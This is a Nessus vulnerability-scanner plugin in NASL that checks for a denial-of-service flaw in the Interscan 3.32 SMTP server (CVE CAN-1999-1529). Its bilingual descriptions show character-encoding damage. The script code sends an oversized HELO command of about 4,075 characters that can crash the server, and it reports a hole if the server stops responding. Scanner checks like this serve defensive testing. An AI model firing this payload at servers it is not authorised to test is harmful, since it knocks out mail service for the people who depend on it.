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- #
- # This script was written by Alain Thivillon <Alain.Thivillon@hsc.fr>
- #
- # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
- # Erik Anderson <eanders@carmichaelsecurity.com>
- # Added BugtraqID and CVE
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10353);
- script_bugtraq_id(787);
- script_version ("$Revision: 1.15 $");
- script_cve_id("CAN-1999-1529");
- name["english"] = "Interscan 3.32 SMTP Denial";
- name["francais"] = "DΘni de service contre le serveur SMTP Interscan 3.32";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "It was possible to perform
- a denial of service against the remote
- Interscan SMTP server by sending it a special long HELO command.
-
- This problem allows an attacker to prevent
- your Interscan SMTP server from handling requests.
-
- Solution : contact your vendor for a patch.
-
- Risk factor : High";
-
- desc["francais"] = "Il s'est avΘrΘ possible
- de crΘer un dΘni de service sur le serveur
- SMTP Interscan distant en lui envoyant une commande HELO
- longue
-
- Un pirate peut utiliser ce problΦme
- pour empecher votre serveur de traiter
- les requetes SMTP.
-
- Solution : contactez votre vendeur pour un
- patch.
-
- Facteur de risque : ElevΘ";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Crashes the Interscan NT SMTP Server";
- summary["francais"] = "Fait planter le serveur SMTP Interscan NT";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DENIAL);
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison and Alain Thivillon",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison et Alain Thivillon");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes");
- script_require_ports("Services/smtp", 25);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("smtp_func.inc");
-
- port = get_kb_item("Services/smtp");
- if(!port)port = 25;
- if(!get_port_state(port))exit(0);
-
- soc = open_sock_tcp(port);
- if(soc)
- {
- s = smtp_recv_banner(socket:soc);
- if(s)
- {
- c = string("HELO a\r\n");
- send(socket:soc, data:c);
- s = recv_line(socket:soc, length:5000);
- if(!s)exit(0);
- c = string("HELO ", crap(length:4075, data:"."),"\r\n");
- send(socket:soc, data:c);
- s = recv_line(socket:soc, length:5000);
- if(!s) { security_hole(port); exit(0) ; }
- c = string("HELO a\r\n");
- send(socket:soc, data:c);
- s = recv_line(socket:soc, length:2048, timeout:20);
- if(!s) { security_hole(port); exit(0); }
- }
- close(soc);
- }
-
-